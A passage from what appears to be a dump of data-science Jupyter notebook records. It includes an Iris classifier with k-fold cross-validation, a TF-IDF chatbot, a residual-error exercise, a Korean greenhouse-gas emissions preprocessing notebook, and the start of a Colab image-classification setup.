pd.read_excel(\"data/Ex1_2.xlsx\", sheet_name = 2)\n\ntest_data.drop(columns=\"Target\", inplace=True)\n\nmiss_data = pd.DataFrame({\n 'Missing': test_data.isna().sum(),\n 'Missing(%)': (test_data.isna().sum() / test_data.shape[0]) * 100\n}).sort_values(by='Missing', ascending=False).query(\"Missing != 0\")\nmiss_data\n\ntest_data = impute_nuls(test_data)\ntest_data.drop(columns=[\"P1\", \"P3\", \"P7\", \"P9\", \"P13\", \"P14\", \"P19\", \"P20\", \"P21\", \"P5\", \"P18\", \"P25\"], inplace=True)\nX_test = scaler.transform(test_data)\npreds = best_model.predict(X_test).astype(int)\nnp.savetxt(\"task2_predictions.csv\", preds, delimiter=\",\", fmt='%.f')\n","repo_name":"swankyalex/tms-course","sub_path":"scripts/Task_2.ipynb","file_name":"Task_2.ipynb","file_ext":"py","file_size_in_byte":15100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"32414927761","text":"# # Practice - Iris Species Classification\n# ### Instructions\n# - Some code has been written for you, most of it you practiced in the lessons\n# - Feel free to add in your code and analysis, this is a practice exercise and you should try to implement your learnings\n# - If something is not clear, go back to lessons, or the documentation page\n\n# +\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# import libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\niris = pd.read_csv('Iris.csv') # import data\niris.head()\n# -\n\n# ### Conduct you exploratory analysis\n\niris.drop('Id', axis = 1, inplace = True)\n\n# checking the shape of the data\niris.shape\n\niris.info()\n\niris.describe() # Summary Statistics\n\n# ### Exploratory data Visualization\n# - Feel free to add more plots and derive insights\n# - What can you learn from the plots you draw?\n\n# Visualize pairwise relationship\nsns.pairplot(iris, hue = 'Species')\n\n# +\n#Compare distribution of petal and sepal length\nplt.figure(figsize = (10, 6))\n\nplt.subplot(1, 2, 1)\nsns.violinplot(x=\"Species\", y=\"PetalWidthCm\", data=iris)\n\nplt.subplot(1, 2, 2)\nsns.violinplot(x=\"Species\", y=\"PetalLengthCm\", data=iris)\n# -\n\n# What can you say about your data by the visualizations?\n#\n# can you see that from the pair plot and the violin plot it can be inferred that petal length and petal width have a linear relation and almost identical distribution\n#\n# Can you study about other features and relationships too?\n\n# ### Shuffle Data\n# Since our data was organised in a pattern by arranging all the species in order, it is not a good choice to train the data that way. So we shuffle the data randomly using sklearn's shuffle function\n\nfrom sklearn.utils import shuffle\niris = shuffle(iris, random_state = 42)\niris.head(10)\n\n#split target and input\ntarget = iris.Species\nX_input = iris.drop('Species', axis = 1)\n\n# ### Cross Validation\n# A technique which involves saving a portion of dataset called the validation set, on which we do not train the model, and later test out trained model on this sample before finalizing the model. We train the model on large portion of the dataset to recognise the pattern or trend in the data.\n#\n# ***k-fold cross validation***\n# Training and testing multiple times\n#\n# - Randomly split the datat set into k folds\n# - For each k-fold, train the model on rest of the dataset and test it on the 'k-fold' reserved portion\n# - Repeat for each k-fold\n# - Average error for each k-fold is the cross validation error\n#\n# ### F1 Score\n# A better measure for the performance of classification problems than accuracy_score which can attain an accuracy score of 100% by just predicting all the inputs as 'True'. As accuracy measures how many we got right, by predicting everything true it still predicts the inputs which were supposed to be True as True, but also predicting the false ones True, which is a bad predicton.\n#\n# Takes into account the false positives and false negatives; i.e th prediction which were false but predicted true and the prediction which were true but predicted false\n#\n# **F1 = 2 * (precision X recall) / (precision + recall)**\n#\n#\n#\n# learn more about it form here : http://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html\n\n# +\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import KFold # import kfold\n\nclf = DecisionTreeClassifier() # build algorithm function object\nkf = KFold(n_splits=5) # build the kfold function object\n\nfor train_index, test_index in kf.split(X_input):\n\n # splitting the test and train data using the kfolds\n X_train, X_test = X_input.iloc[train_index], X_input.iloc[test_index] \n y_train, y_test = target.iloc[train_index], target.iloc[test_index]\n \n #fit the model and predit \n clf.fit(X_train, y_train)\n prediction = clf.predict(X_test)\n score = accuracy_score(y_test, prediction)\n f1 = f1_score(y_test, prediction, average = 'weighted')\n \n print('Accuracy: ', score)\n print('F1 Score: ', f1)\n \n# -\n\n# ### Can you test your model on other classifiers?\n# - Naive Bayes\n# - Random Forest\n# - kNN\n# - SVM\n\n\n","repo_name":"Vskills-Certification/Data-Science-with-Python","sub_path":"Case Studies/1. Case Study - Iris Species/1. Case Study - Iris Species.ipynb","file_name":"1. Case Study - Iris Species.ipynb","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"30302306768","text":"# Required libraries\nimport pandas as pd\nimport numpy as np\nimport re\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk import pos_tag\nfrom sklearn.metrics import pairwise_distances\nimport pickle\n\n# Reading data\ndf = pd.read_excel('chat_bot.xlsx')\nprint(\"Reading data\")\n\ndf\n\n# Initialize lemmatizer\nlemmatizer = WordNetLemmatizer()\n\n\n# Text Normalization\ndef text_normalization(text):\n lema_sent = []\n try :\n pre_text = text.lower()\n words = re.sub(r'[^a-z0-9]',\" \",pre_text)\n tag_list = pos_tag(nltk.word_tokenize(words),tagset=None)\n for token, pos_token in tag_list:\n if pos_token.startswith(\"V\"):\n pos_val = \"v\"\n elif pos_token.startswith(\"J\"):\n pos_val = \"a\"\n elif pos_token.startswith(\"R\"):\n pos_val = \"r\"\n else:\n pos_val = \"n\"\n lema_token = lemmatizer.lemmatize(token,pos_val)\n lema_sent.append(lema_token)\n return \" \".join(lema_sent)\n except:\n pass\n\n\nlemmatized_df = text_normalization(df['Context'][1501])\n\nlemmatized_df\n\ndf['lemmatized_text'] = df['Context'].apply(text_normalization)\n\ndf\n\n# After finishing the normalization of text, we should proceed to tfidf vectorization\nfrom sklearn.feature_extraction.text import TfidfVectorizer\ntfidf = TfidfVectorizer()\n\nx_tfidf = tfidf.fit_transform(df['lemmatized_text']).toarray()\n\nx_tfidf\n\n\ndef validation(x_tfidf, query_ask):\n cos = 1-pairwise_distances(x_tfidf, query_ask,metric='cosine')\n ind = cos.argmax()\n threshold = cos[ind]\n if threshold > 0.2:\n result = df['Text Response'].loc[ind]\n else:\n result = df['Text Response'].loc[51]\n return result\n\n\nuser_input = input(\"Enter any message: \")\nquery_ask = text_normalization(user_input)\nquery_ask = tfidf.transform([query_ask]).toarray()\nresponse = validation(x_tfidf,query_ask)\nprint(\"bot replays:\",response)\n\n\n\n","repo_name":"nagasai05/A-Simple-Chatbot-Project-using-NLP","sub_path":"Chatbot.ipynb","file_name":"Chatbot.ipynb","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"15743461730","text":"# + [markdown] deletable=false editable=false nbgrader={\"cell_type\": \"markdown\", \"checksum\": \"49242c43d18e180bc26eaaa0287ffbd6\", \"grade\": false, \"grade_id\": \"cell-a8203f9504ba7cf8\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\n# # Residuum und Fehler\n\n# + deletable=false editable=false nbgrader={\"cell_type\": \"code\", \"checksum\": \"2a731c343e5960f1965d5c3ed0c2583c\", \"grade\": false, \"grade_id\": \"cell-f42d9c94cba47966\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\n# + [markdown] deletable=false editable=false nbgrader={\"cell_type\": \"markdown\", \"checksum\": \"9ad6f939e2a5180c819b788ede90851c\", \"grade\": false, \"grade_id\": \"cell-23b9bcf123722a34\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\n# Sie erhalten eindimensionale Daten in einem pandas DataFrame mit den Spalten `'x'` und `'y'` und ein Modell, welches aus den Einträgen $x_i$ der Spalte `'x'` Vorhersagen $\\hat{y}_i$ generiert.\n#\n# `(A)` Schreiben Sie eine Funktion, die für dieses Modell und diese Daten das Residuum, die absoluten, und die quadratischen Fehler der einzelnen Datenpunkte berechnet. Die Funktion soll den übergebenen DataFrame mit den zusätzlichen Spalten `prediction`, `residual`, `absolute_error` und `squared_error` zurückgeben.\n\n# + deletable=false nbgrader={\"cell_type\": \"code\", \"checksum\": \"6a2e1146a82845d3ddf4453c06b3d2f4\", \"grade\": true, \"grade_id\": \"cell-5e0993874cbc4b76\", \"locked\": false, \"points\": 0, \"schema_version\": 3, \"solution\": true, \"task\": false}\ndef residuum(df: pd.DataFrame, model: callable) -> pd.DataFrame:\n df['prediction'] = df['x'].transform(model)\n df['residual'] = df['y'] - df['prediction']\n df['absolute_error'] = df['residual'].abs()\n df['squared_error'] = df['residual'].transform(np.square)\n \n return df\n\n \n\n# + [markdown] deletable=false editable=false nbgrader={\"cell_type\": \"markdown\", \"checksum\": \"bfc0a0bf997eddecacaf96ef7ebac536\", \"grade\": false, \"grade_id\": \"cell-a0ec5e4ecbb514ae\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\n# Nun erhalten Sie Messdaten (`data`) und ein Modell (`model`):\n\n# + deletable=false editable=false nbgrader={\"cell_type\": \"code\", \"checksum\": \"1aff9652e85426e17076a08fbdb4b802\", \"grade\": false, \"grade_id\": \"cell-d886b44bf072db74\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\ndata = pd.DataFrame({'x': np.random.rand(50), 'y': np.random.rand(50)})\n\ndef model(a_0: float, a_1: float) -> callable:\n return lambda x: a_0 + a_1 * x\n\n\n# + [markdown] deletable=false editable=false nbgrader={\"cell_type\": \"markdown\", \"checksum\": \"53f55cf969fa891b91c14cd36fab09a7\", \"grade\": false, \"grade_id\": \"cell-70470f1a4ea225f7\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\n# `(R)` Um was für eine Art von Modell handelt es sich (Typ und Bezeichnung)? Berechnen Sie mithilfe Ihrer Funktion das Residuum sowie den mittleren absoluten und mittleren quadratischen Fehler des Modells für verschiedene Werte der freien Parameter.\n# -\n\n# Regression, Deterministisch, Kontinuierlich\n\n# + deletable=false nbgrader={\"cell_type\": \"code\", \"checksum\": \"58b1c87a4c9e0ce72f8ad9949f67d206\", \"grade\": true, \"grade_id\": \"cell-f75f6e1a75483b08\", \"locked\": false, \"points\": 0, \"schema_version\": 3, \"solution\": true, \"task\": false}\na_0, a_1 = 1, 2\n\nerrors = residuum(data, model(a_0, a_1))\n\nresidual = errors['residual']\nprint(f\"mean absolute error: {errors['absolute_error'].mean()}\")\nprint(f\"mean squared error: {errors['squared_error'].mean()}\")\n\n# + [markdown] deletable=false editable=false nbgrader={\"cell_type\": \"markdown\", \"checksum\": \"6334156d471688b87bf6c455f9f09a67\", \"grade\": false, \"grade_id\": \"cell-002a288c4dbe5b00\", \"locked\": true, \"schema_version\": 3, \"solution\": false, \"task\": false}\n# `(A)` Stellen Sie die Daten, das Modell, sowie das Residuum grafisch dar.\n\n# + deletable=false nbgrader={\"cell_type\": \"code\", \"checksum\": \"c86b6e352bfc05b14ee467eb48144b00\", \"grade\": true, \"grade_id\": \"cell-ebe41bf148a347ae\", \"locked\": false, \"points\": 0, \"schema_version\": 3, \"solution\": true, \"task\": false}\nfig = plt.figure(figsize=(10, 10))\nax = fig.add_subplot(111)\nax.scatter(data['x'], data['y'], label='data')\nax.plot(data['x'], data['prediction'], label='model')\nax.scatter(data['x'], data['residual'], label='residual')\nax.legend()\n","repo_name":"TimJoest/Datascience_2","sub_path":"MNM/Vorlesung/Pandas/7_models/Residuum_und_Fehler.ipynb","file_name":"Residuum_und_Fehler.ipynb","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"37325708332","text":"import random\nimport pandas as pd\nimport numpy as np\n\ndf=pd.read_csv('data/업종별오염물질배출현황(2013-2019).csv',index_col='WRKPLC_FANM')\n\ndf.head()\n\ncol={'CO2_EMSN_QNTY_NIDVAL':'이산화탄소_배출량','TRGT_YEAR':'대상연도','ENGSRC_NM':'에너지원명',\n 'ENGSRC_DVSN_NM':'에너지원구분명','WRKPLC_FANM':'사업장가명','WIDM_LOCL_NM':'광역지역명',\n 'WRKPLC_WRKR_VOL_NM':'사업장_종사자규모명','KSIC_CD':'표준산업분류코드','KSIC_NM':'표준산업분류명',\n 'CO2_EMSN_QNTY_NIDVAL':'이산화탄소_배출량','CO2_EMSN_QNTY_YN':'이산화탄소_배출량_구분',\n 'CH4_EMSN_QNTY_NIDVAL':'메탄_배출량','CH4_EMSN_QNTY_YN':'메탄_배출량_구분','N2O_EMSN_QNTY_NIDVAL':'아산화질소_배출량',\n 'N2O_EMSN_QNTY_YN':'아산화질소_배출량_구분','GHG_EMSN_QNTY_NIDVAL':'온실가스_배출량','GHG_EMSN_QNTY_YN':'온실가스_배출량_구분'}\ndf=df.rename(columns=col)\ndf.info()\n\ndf['이산화탄소_배출량'].describe()\n\n# +\ndf['메탄_배출량']=df['메탄_배출량'].str.replace('-','0')\ndf['메탄_배출량']=df['메탄_배출량'].astype('float')\n\ndf['아산화질소_배출량']=df['아산화질소_배출량'].str.replace('-','0')\ndf['아산화질소_배출량']=df['아산화질소_배출량'].astype('float')\n# -\n\ndf=df.reset_index(drop=True)\n\ndf=df[['대상연도','에너지원명','에너지원구분명','광역지역명','사업장_종사자규모명','표준산업분류코드','표준산업분류명','이산화탄소_배출량','이산화탄소_배출량_구분','메탄_배출량','메탄_배출량_구분','아산화질소_배출량','아산화질소_배출량_구분','온실가스_배출량','온실가스_배출량_구분']]\n\ndf['온실가스_배출량']=df['온실가스_배출량'].str.replace('-','0')\ndf['온실가스_배출량']=df['온실가스_배출량'].astype('float')\n\ndf['광역지역명'].unique()\n\nlocal={'경북':'경상도','경남':'경상도','충남':'충청도','충북':'충청도','전북':'전라도','전남':'전라도','경기':'경기도','강원':'강원도'}\n\nn=[]\nfor i,a in enumerate(df['광역지역명']):\n if local.get(a):\n n.append(local[a])\n else:\n n.append(a)\n\ndf.insert(4,'지역명_대분류',n)\n\ndf['지역명_대분류'].value_counts()\n\nenergy_etc=['기타가스(부생·정제가스 포함)','기타연료','기타석유','B-A유(경질중유)','부생연료1호','B-B유(중유)','갈탄(조개탄)',\n '석유코크스','부생연료2호','기타석탄','코크스가스','국내무연탄','석탄코크스','천연가스(LNG)','윤활유']\n\nn=[]\nfor i,a in enumerate(df['에너지원명']):\n if a in energy_etc:\n n.append('기타')\n else:\n n.append(a)\ndf['에너지원명']=n\n\n# ## 지역별 탄소 배출량 %\n\n# ### 이산화탄소\n\nco2={}\nfor i,(a,b) in enumerate(zip(df['지역명_대분류'],df['이산화탄소_배출량'])):\n if co2.get(a):\n co2[a]+=b\n else:\n co2[a]=b\ntotal_co2=sum(co2.values())\nfor x in co2:\n co2[x]/=total_co2/100\n co2[x]=round(co2[x],3)\nprint(co2)\n\n# ### 메탄\n\nch4={}\nfor i,(a,b) in enumerate(zip(df['지역명_대분류'],df['메탄_배출량'])):\n if ch4.get(a):\n ch4[a]+=b\n else:\n ch4[a]=b\ntotal_ch4=sum(ch4.values())\nfor x in ch4:\n ch4[x]/=total_ch4/100\n ch4[x]=round(ch4[x],3)\nprint(ch4)\n\n# ### 이산화질소\n\nn2o={}\nfor i,(a,b) in enumerate(zip(df['지역명_대분류'],df['아산화질소_배출량'])):\n if n2o.get(a):\n n2o[a]+=b\n else:\n n2o[a]=b\ntotal_n2o=sum(n2o.values())\nfor x in n2o:\n n2o[x]/=total_n2o/100\n n2o[x]=round(n2o[x],3)\nprint(n2o)\n\n# ### 온실가스\n\ngas={}\nfor i,(a,b) in enumerate(zip(df['지역명_대분류'],df['온실가스_배출량'])):\n if gas.get(a):\n gas[a]+=b\n else:\n gas[a]=b\ntotal_gas=sum(gas.values())\nfor x in n2o:\n gas[x]/=total_gas/100\n gas[x]=round(gas[x],3)\nprint(gas)\n\n# ### 전체 지역\n\ntotal_region={'이산화탄소':co2,'메탄':ch4,'아산화질소':n2o,'온실가스':gas}\nprint(total_region)\n\n# ### 전체 에너지원명 개수\n\ndf['에너지원명'].value_counts()\nn={}\nfor i,x in enumerate(df['에너지원명']):\n if n.get(x):\n n[x]+=1\n else:\n n[x]=1\nprint(n)\n\n# ### 배출량 총합\n\nco2,ch4,no2,gas={},{},{},{}\ntotal_co2=df['이산화탄소_배출량'].sum()\ntotal_ch4=df['메탄_배출량'].sum()\ntotal_no2=df['아산화질소_배출량'].sum()\ntotal_gas=df['온실가스_배출량'].sum()\nfor i,(a,b,c,d,e) in enumerate(zip(df['에너지원명'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if co2.get(a):\n co2[a]+=b\n ch4[a]+=c\n no2[a]+=d\n gas[a]+=e\n else:\n co2[a]=b\n ch4[a]=c\n no2[a]=d\n gas[a]=e\n\nprint(co2)\nprint(ch4)\nprint(no2)\nprint(gas)\n\nall_energy={'이산화탄소':co2,'메탄':ch4,'아산화질소':no2,'온실가스':gas}\nprint(n)\nprint(all_energy)\n\n# ### 총합 / 개수\n\nfor x in all_energy:\n for y in all_energy[x]:\n all_energy[x][y]/=n[y]\nprint(all_energy)\n\n# ### 배출 종류별 총합/개수의 총합\n\nenergy=[]\nfor x in all_energy:\n energy.append(sum(all_energy[x].values()))\nprint(energy)\n\n# ### 배출 종류 별 %\n\nfor id,x in enumerate(all_energy):\n for y in all_energy[x]:\n all_energy[x][y]/=energy[id]/100\n all_energy[x][y]=round(all_energy[x][y],4)\nfor x in all_energy:\n print(all_energy[x])\n\nprint(all_energy)\n\nn={}\nfor i,(a,b,c,d,e) in enumerate(zip(df['에너지원명'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if not n.get(a):\n n[a]={'co2':0,'ch4':0,'no2':0,'gas':0}\n if b>0:\n n[a]['co2']+=1\n if c>0:\n n[a]['ch4']+=1\n if d>0:\n n[a]['no2']+=1\n if e>0:\n n[a]['gas']+=1\nprint(n)\nfor i,(a,b,c,d,e) in enumerate(zip(df['에너지원명'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if co2.get(a):\n co2[a]+=b\n ch4[a]+=c\n no2[a]+=d\n gas[a]+=e\n else:\n co2[a]=b\n ch4[a]=c\n no2[a]=d\n gas[a]=e\n\nfor i in co2:\n co2[i]/=n[i]['co2']\nfor i in ch4:\n if i=='보일러등유':\n continue\n ch4[i]/=n[i]['ch4']\nfor i in no2:\n if i=='보일러등유':\n continue\n no2[i]/=n[i]['no2']\nfor i in gas:\n if i=='보일러등유':\n continue\n gas[i]/=n[i]['gas']\n\n# ### 배출량이 0이 아닌 회사들을 제외한 값\n\nprint(co2)\nprint(ch4)\nprint(no2)\nprint(gas)\n\n# ### 백분율\n\nsum_co2=sum(co2.values())\nsum_ch4=sum(ch4.values())\nsum_no2=sum(no2.values())\nsum_gas=sum(gas.values())\nfor i in co2:\n co2[i]/=sum_co2/100\nfor i in ch4:\n ch4[i]/=sum_ch4/100\nfor i in no2:\n no2[i]/=sum_no2/100\nfor i in gas:\n gas[i]/=sum_gas/100\n\nprint(co2)\nprint(ch4)\nprint(no2)\nprint(gas)\n\ndf['사업장_종사자규모명']\n\n# ### 전체 배출량\n\nn={}\nfor id,(a,b,c,d,e) in enumerate(zip(df['사업장_종사자규모명'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if n.get(a):\n n[a]['co2']+=b\n n[a]['ch4']+=c\n n[a]['no2']+=d\n n[a]['gas']+=e\n else:\n n[a]={'co2':b,'ch4':c,'no2':d,'gas':e}\nprint(n)\n\nd={}\nfor i,x in enumerate(df['사업장_종사자규모명']):\n if d.get(x):\n d[x]+=1\n else:\n d[x]=1\nprint(d)\n\nfor x in n:\n for y in n[x]:\n n[x][y]/=d[x]\n if x=='10인 ~ 19인':\n n[x][y]/=15\n elif x=='5인 미만':\n n[x][y]/=3\n elif x=='20인 ~ 49인':\n n[x][y]/=35\n elif x=='5인 ~ 9인':\n n[x][y]/=7\n elif x=='50인 ~ 99인':\n n[x][y]/=75\n elif x=='100인 ~ 299인':\n n[x][y]/=200\n elif x=='1000인 이상':\n n[x][y]/=1000\n elif x=='300인 ~ 499인':\n n[x][y]/=400\n else:\n n[x][y]/=750\n n[x][y]=round(n[x][y],4) # co2와 gas를 제외하고 나머지는 0에 수렴함, 사람수가 적은 회사일 수록 인당 배출량이 늘어남\nprint(n)\n\na,b,c=[],[],[]\nfor x in n:\n a.append(x)\n b.append(n[x]['co2'])\n c.append(n[x]['gas'])\na=tuple(a)\nb=tuple(b)\nc=tuple(c)\nprint(a)\nprint(b)\nprint(c)\n\n# ### 밑에 코드들은 배출량 0회사 제외\n\nz={}\nfor i,(a,b,c,d,e) in enumerate(zip(df['사업장_종사자규모명'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if not z.get(a):\n z[a]={'co2':0,'ch4':0,'no2':0,'gas':0}\n if b>0:\n z[a]['co2']+=1\n if c>0:\n z[a]['ch4']+=1\n if d>0:\n z[a]['no2']+=1\n if e>0:\n z[a]['gas']+=1\nprint(z)\nn={}\nfor id,(a,b,c,d,e) in enumerate(zip(df['사업장_종사자규모명'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if n.get(a):\n n[a]['co2']+=b\n n[a]['ch4']+=c\n n[a]['no2']+=d\n n[a]['gas']+=e\n else:\n n[a]={'co2':b,'ch4':c,'no2':d,'gas':e}\nprint(n)\n\nfor x in n:\n for y in n[x]:\n n[x][y]/=z[x][y]\n if x=='10인 ~ 19인':\n n[x][y]/=15\n elif x=='5인 미만':\n n[x][y]/=3\n elif x=='20인 ~ 49인':\n n[x][y]/=35\n elif x=='5인 ~ 9인':\n n[x][y]/=7\n elif x=='50인 ~ 99인':\n n[x][y]/=75\n elif x=='100인 ~ 299인':\n n[x][y]/=200\n elif x=='1000인 이상':\n n[x][y]/=1000\n elif x=='300인 ~ 499인':\n n[x][y]/=400\n else:\n n[x][y]/=750\n n[x][y]=round(n[x][y],4) # co2와 gas를 제외하고 나머지는 0에 수렴함, 사람수가 적은 회사일 수록 인당 배출량이 늘어남\nprint(n)\n\nn=[]\nfor i,a in enumerate(df['표준산업분류명']):\n if '(' in a:\n x=a.find('(')\n a=a[:x]\n a=a.split()[-1]\n n.append(a) \nprint(n)\n\ndf.insert(7,'표준산업분류명_대범주',n)\ndf['표준산업분류명_대범주'].value_counts()\n\nn=[]\nname_etc=['제철업','정제처리업','서비스업','변경업','재건조업']\nfor i,a in enumerate(df['표준산업분류명_대범주']):\n if a in name_etc:\n n.append('기타')\n else:\n n.append(a)\ndf['표준산업분류명_대범주']=n\n\ndf['표준산업분류명_대범주'].value_counts()\n\nn={}\nfor id,(a,b,c,d,e) in enumerate(zip(df['표준산업분류명_대범주'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if n.get(a):\n n[a]['co2']+=b\n n[a]['ch4']+=c\n n[a]['no2']+=d\n n[a]['gas']+=e\n else:\n n[a]={'co2':b,'ch4':c,'no2':d,'gas':e}\nprint(n)\n\nd={}\nfor i,x in enumerate(df['표준산업분류명_대범주']):\n if d.get(x):\n d[x]+=1\n else:\n d[x]=1\nprint(d)\n\nfor x in n:\n for y in n[x]:\n n[x][y]/=d[x]\n n[x][y]=round(n[x][y],2) #ch4, no2는 대부분 0이므로 예외처리하겠음.\nprint(n)\n\nall_co2,all_gas=0,0\nfor x in n:\n for y in n[x]:\n if y=='co2':\n all_co2+=n[x][y]\n elif y=='gas':\n all_gas+=n[x][y]\nprint(all_co2,all_gas)\n\nfor x in n:\n for y in n[x]:\n if y=='co2':\n n[x][y]/=all_co2/100\n elif y=='gas':\n n[x][y]/=all_gas/100\n n[x][y]=round(n[x][y],3)\nfor x in n:\n del(n[x]['ch4'])\n del(n[x]['no2'])\nprint(n)\n\na,b,c=[],[],[]\nfor x in n:\n a.append(x)\n b.append(n[x]['co2'])\n c.append(n[x]['gas'])\nprint(tuple(a))\nprint(tuple(b))\nprint(tuple(c))\n\n# ### 여기 밑에도 실제 배출량인 0인 회사 제외\n\nz={}\nfor i,(a,b,c,d,e) in enumerate(zip(df['표준산업분류명_대범주'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if not z.get(a):\n z[a]={'co2':0,'ch4':0,'no2':0,'gas':0}\n if b>0:\n z[a]['co2']+=1\n if c>0:\n z[a]['ch4']+=1\n if d>0:\n z[a]['no2']+=1\n if e>0:\n z[a]['gas']+=1\nprint(z)\nn={}\nfor id,(a,b,c,d,e) in enumerate(zip(df['표준산업분류명_대범주'],df['이산화탄소_배출량'],df['메탄_배출량'],df['아산화질소_배출량'],df['온실가스_배출량'])):\n if n.get(a):\n n[a]['co2']+=b\n n[a]['ch4']+=c\n n[a]['no2']+=d\n n[a]['gas']+=e\n else:\n n[a]={'co2':b,'ch4':c,'no2':d,'gas':e}\nprint(n)\n\nfor x in n:\n for y in n[x]:\n n[x][y]/=z[x][y]\n n[x][y]=round(n[x][y],2)\n#ch4, no2는 대부분 0이므로 예외처리하겠음.\nprint(n)\n\nall_co2,all_gas=0,0\nfor x in n:\n for y in n[x]:\n if y=='co2':\n all_co2+=n[x][y]\n elif y=='gas':\n all_gas+=n[x][y]\nprint(all_co2,all_gas)\n\nfor x in n:\n for y in n[x]:\n if y=='co2':\n n[x][y]/=all_co2/100\n elif y=='gas':\n n[x][y]/=all_gas/100\n n[x][y]=round(n[x][y],3)\nfor x in n:\n del(n[x]['ch4'])\n del(n[x]['no2'])\nprint(n)\n\ndf.groupby(['대상연도'])[['이산화탄소_배출량','메탄_배출량','아산화질소_배출량','온실가스_배출량']].agg('sum')\n\ndf.groupby(['지역명_대분류'])[['이산화탄소_배출량','온실가스_배출량']].agg('sum').astype('int').T\n\n#key값과 그 key에 해당하는 value값 밑에까지\nkey=list(n.keys())\nprint(key)\n\nco2=[]\ngas=[]\nfor x in n:\n co2.append(n[x]['co2'])\n gas.append(n[x]['gas'])\nprint(co2,gas)\n\nx=pd.DataFrame({'co2':co2,'gas':gas},index=key)\nx\n\nx.describe().T\n\nfor x in all_energy:\n if x=='이산화탄소':\n co2=(list(all_energy[x].values()))\n if x=='온실가스':\n gas=list(all_energy[x].values())\nkey=list(all_energy[x].keys())\nx=pd.DataFrame({'co2':co2,'gas':gas},index=key)\nx\n\ndf.to_csv(\"preprocessing.csv\", index=False, encoding=\"utf-8-sig\")\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ge0nha0/Projects","sub_path":"[교내] 업종별,에너지원별 온실가스 배출량 데이터분석 2022.06/1.preprocessing.ipynb","file_name":"1.preprocessing.ipynb","file_ext":"py","file_size_in_byte":14043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"25416341276","text":"# + id=\"aczgUao3Cs-Y\" colab_type=\"code\" colab={}\nfrom google.colab import drive\ndrive.mount('/content/gdrive')\npath = \"gdrive/My Drive/Colab Notebooks\"\n# !ls \"gdrive/My Drive/aoi\"\n# #!tar xvf \"gdrive/My Drive/zip123/aoi.tar\"\n# #!cp \"gdrive/My Drive/zip123/aoi.zip ./\"\n# #!unzip \"gdrive/My Drive/zip123/aoi(csv)\"\n# !unzip \"gdrive/My Drive/我會過嗎/aoi\"\n# !unzip \"test_images\"\n# !unzip \"train_images\"\n# #!ls \n\n# + id=\"lPOmpaLeD6SJ\" colab_type=\"code\" colab={}\nimport tensorflow as tf\nimport csv\nimport pandas as pd\nimport cv2\nimport pdb\nimport random as rn\nimport numpy as np\n\n# + id=\"oieRHywgde_O\" colab_type=\"code\" outputId=\"984b088f-d661-420b-9a82-aa56a88fec80\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35}\n#read\ntrain=pd.read_csv('train.csv')\nprint(train.shape)\n\ntimg=[]\nlab=[]\n\n#set train\nfor i in range(train.shape[0]):\n img = cv2.imread('train_images/'+train['ID'][i],0)\n img = np.resize(img,(128,128,1))/255\n timg.append(img)\n lab.append(train['Label'][i])\n #print(\"fin:\"+str(i)+\"/\",train.shape[0])\nx_array = np.asarray(timg,np.float32)\n\n# + id=\"SRbgjW_EyY7x\" colab_type=\"code\" outputId=\"d7a0bedd-8c42-493b-f318-deda92f34356\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35}\n#set test\ntest=pd.read_csv('test.csv')\nprint(test.shape)\nx_test=test['ID']\ntstimg=[]\nfor i in range(len(x_test)):\n img=cv2.imread('test_images/'+x_test[i],0)\n img = np.resize(img,(128,128,1))/255\n tstimg.append(img)\n #print(\"fin:\"+str(i)+\"/\",x_test.shape[0])\ntx_array = np.asarray(tstimg,np.float32)\n\n# + id=\"Z2cXQnuUBNID\" colab_type=\"code\" outputId=\"039bc25b-e265-44e0-8bed-4fcda7f925f8\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 35}\nfrom keras.utils import *\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Flatten, Dropout\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nimport matplotlib.pyplot as plt\nfrom keras import optimizers\n\n# + id=\"LJRiBtX4BRlP\" 